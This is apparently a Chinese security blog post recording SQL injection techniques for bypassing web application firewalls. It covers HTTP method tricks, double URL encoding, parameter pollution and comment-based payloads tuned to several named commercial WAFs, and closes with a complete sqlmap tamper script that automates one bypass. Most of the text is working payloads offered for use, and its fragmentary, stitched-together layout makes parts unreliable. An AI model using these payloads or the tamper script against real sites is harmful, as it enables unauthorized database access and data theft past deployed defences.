SQL注入Fuzz Bypass WAF记录

  • A+
所属分类:网络安全文章
阿里


推广者专属福利,新客户无门槛领取总价值高达2775元代金券,每种代金券限量500张,先到先得。

SQL注入Fuzz Bypass WAF记录

1' union select null,null,flag,null from flag limit 1 offset 1-- -
------,xxxx--
2.畸形method(header头中)
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容

web应用层
1.双重URL编码: 即web应用层在接受到经过服务器层解码后的参数后,又进行了一次URL解码
2.变换请求方式:
在web应用中使用了统一获取参数的方式: 如php里使用$_REQUEST获取参数,但WAF层如果过滤不全则容易bypass,如,waf层过滤了get/post,但没有过滤cookie,而web应用层并不关心参数是否来自cookie
urlencode和form-data: POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交
hpp
asp.net + iis:id=1,2,3 #?str=a%27/&str=/and/&str=/@@version=0--
asp + iis :id=1,2,3
php + apache :id=3
jsp + tomcat :id=1
```
这里提供一种针对普通检测的方法,大家可自行发挥。
mysql int型: %20%26%201=1 mysql.php?id=1%20%26%201=1

另外在字符型中 'and'1'='1是不需要加空格的,有时候也可以绕过一些waf判断

0x2 bypasswaf
由于mysql的灵活性,这里以mysql绕过为主,针对各大主流waf厂商进行一个测试,主要测试在线版的,本地就安装了一个360主机卫士。
其中下面的绕过都是以fuzz为主,不考虑web容器的特性,尝试绕过联合查询 -1 union select 1,2,3 from dual

百度云加速bypass
union select #filter
from dual #not filted
select from dual #filter
只需要绕过select即可 使用--+aaaaaa%0a可bypass

360主机卫士bypass
发现%23%0aand%230a1=1 可以绕过and 1=1 限制
最后在union select from的时候却绕不过去
直接使用大字符串来fuzz %23-FUZZ-%0a https://github.com/minimaxir/big-list-of-naughty-strings/blob/master/blns.txt 发现可以成功绕过waf

云锁
union select 如下就可以绕过
http://www.yunsuo.com.cn/download.html?id=1%20union/*!/*!select%201,2,3*/
转换成multiform/data可轻松绕过

安全狗bypass
直接搞就行了

阿里云
尝试使用自定义变量方式来绕过 @a:=(select @b:=table_namefrom{a information_schema.TABLES }limit 0,1)union select '1',@a
@p:=(select)被过滤 fuzz下p参数使用@$:=(select)可以绕过
union select 1被过滤 使用union%23aa%0a/!select--%01%0a/1,@$,3 可以绕过
发现重点就是绕过表名 select 1 from dual 一些常规的方法测试无果 随便fuzz下注释/!数字/却偶然发现有俩个数据包遗漏

### 0x3 自动化
以360主机卫士为例,编写sqlmap tamper脚本。
正常无waf sqlmap联合查询
开启主机卫士,放到浏览器调试,修改相关payload使其能正常运行。
最后tamper脚本如下:

  1. from lib.core.enums import PRIORITY
  2. from lib.core.settings import UNICODE_ENCODING
  3. __priority__ = PRIORITY.LOW
  4. def dependencies():
  5.   pass
  6. def tamper(payload, **kwargs):
  7.   """
  8.   Replaces keywords
  9.   >>> tamper('UNION SELECT id FROM users')
  10.   '1 union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/ NULL,/*!12345CONCAT*/(0x7170706271,IFNULL(/*!12345CASt(*/COUNT(*) AS CHAR),0x20),0x7171786b71),NULL/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e AND table_schema=0x73716c696e6a656374--
  11.   """
  12.   if payload:
  13.       payload=payload.replace("UNION ALL SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
  14.       payload=payload.replace("UNION SELECT","union%23!@%23$%%5e%26%2a()%60~%0a/*!12345select*/")
  15.       payload=payload.replace(" FROM ","/*!%23!@%23$%%5e%26%2a()%60~%0afrOm*/")
  16.       payload=payload.replace("CONCAT","/*!12345CONCAT*/")
  17.       payload=payload.replace("CAST(","/*!12345CAST(*/")
  18.       payload=payload.replace("CASE","/*!12345CASE*/")
  19.       payload=payload.replace("DATABASE()","database/**/()")
  20.   return payload
CE安全网

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: